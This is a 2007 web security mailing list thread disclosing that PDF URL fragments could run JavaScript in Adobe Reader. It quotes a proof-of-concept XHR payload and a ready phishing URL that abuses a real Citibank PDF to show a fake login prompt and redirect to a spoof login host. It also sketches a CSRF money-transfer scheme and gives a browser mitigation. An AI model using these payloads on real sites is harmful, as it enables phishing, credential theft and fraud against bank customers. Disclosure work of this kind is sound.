No, that is incorrect. This is not visible by the application because
achor tags are not sent to the webserver. This is completely invisible
to web application firewalls. Btw, a user on http://sla.ckers.org/ made
this recommendation for fixing your own browsers:

Firefox->Tools->Options->Content->Manage->change PDF action to "Save to
disk".

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/

On Wed, 3 Jan 2007, Jim Manico wrote:

> I'm most worried about the CSRF vector.
>
> XSS attacks are easily preventable via a web app firewall, input
> validation and/or session ID rotation; and I see a lot of frameworks
> (like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
> sessions. But I do not see a lot of custom commercial sites implement
> solid CSRF protection quite yet.
>
> So I'm thinking, locate a PDF that requires log-in to read; send a URL
> to the PDF with a CSRF attack attached (please transfer money to me
> swiss bank account), mass mail, the user clicks the link, legally logs
> in, the pdf path points the user to the pdf w/ CSRF attached - and then
> ouch.
>
> I'm new at this game, but am I thinking along the right path?
>
> - Jim
>
>
>
> Jean-Jacques Halans wrote:
>> And it makes a great phishing hole too.
>> Google for any banking pdf's
>> and attach your fake banking site to let the user login to read the
>> article.
>>
>> For example:
>> Send out an email pretending to come from Citibank, about a new
>> article on Wealth Management, with a link to the real article:
>> http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:va
r%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%2
2Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20artic
le.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\
n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%
22;if(temp){document.location=url2}else{document.location=url}
>>
>> Notice the popup (in firefox) which says: "The page at
>> http://www.citibank.com says:"
>>
>> JJ
>>
>> On 1/3/07, pdp (architect) <pdp.gnucitizen (at) googlemail (dot) com [email concealed]> wrote:
>>> I will be very quick and just point to links where you can read about
>>> this issue.
>>>
>>> It seams that PDF documents can execute JavaScript code for no
>>> apparent reason by using the following template:
>>>
>>>
>>> http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_
here
>>>
>>>
>>> You must understand that the attacker doesn't need to have write
>>> access to the specified PDF document. In order to get an XSS vector
>>> working you need to have a PDF file hosted on the target and that's
>>> all about it. The rest is just a matter of your abilities and desires.
>>>
>>> This finding was originally mentioned by Sven Vetsch, on his blog.
>>> This is a very good and quite interesting. Good work.
>>>
>>> There is a POC I composed:
>>>
>>> http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#so
mething=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20ret
urn%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%
20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20
%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%
20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20
=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20
%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.
com',%20true);xhr.send(null);
>>>
>>>
>>> More on the matter can be found here:
>>>
>>> http://www.gnucitizen.org/blog/danger-danger-danger/
>>> http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
>>>
>>> --
>>> pdp (architect) | petko d. petkov
>>> http://www.gnucitizen.org
>>>
>>> ------------------------------------------------------------------------
----
>>>
>>> The Web Security Mailing List:
>>> http://www.webappsec.org/lists/websecurity/
>>>
>>> The Web Security Mailing List Archives:
>>> http://www.webappsec.org/lists/websecurity/archive/
>>> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
>>>
>>>
>>
>>
>
> --
> Best Regards,
> Jim Manico
> GIAC GSEC Professional, Sun Certified Java Programmer
> jim (at) manico (dot) net [email concealed]
> 808.652.3805
>
>
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>
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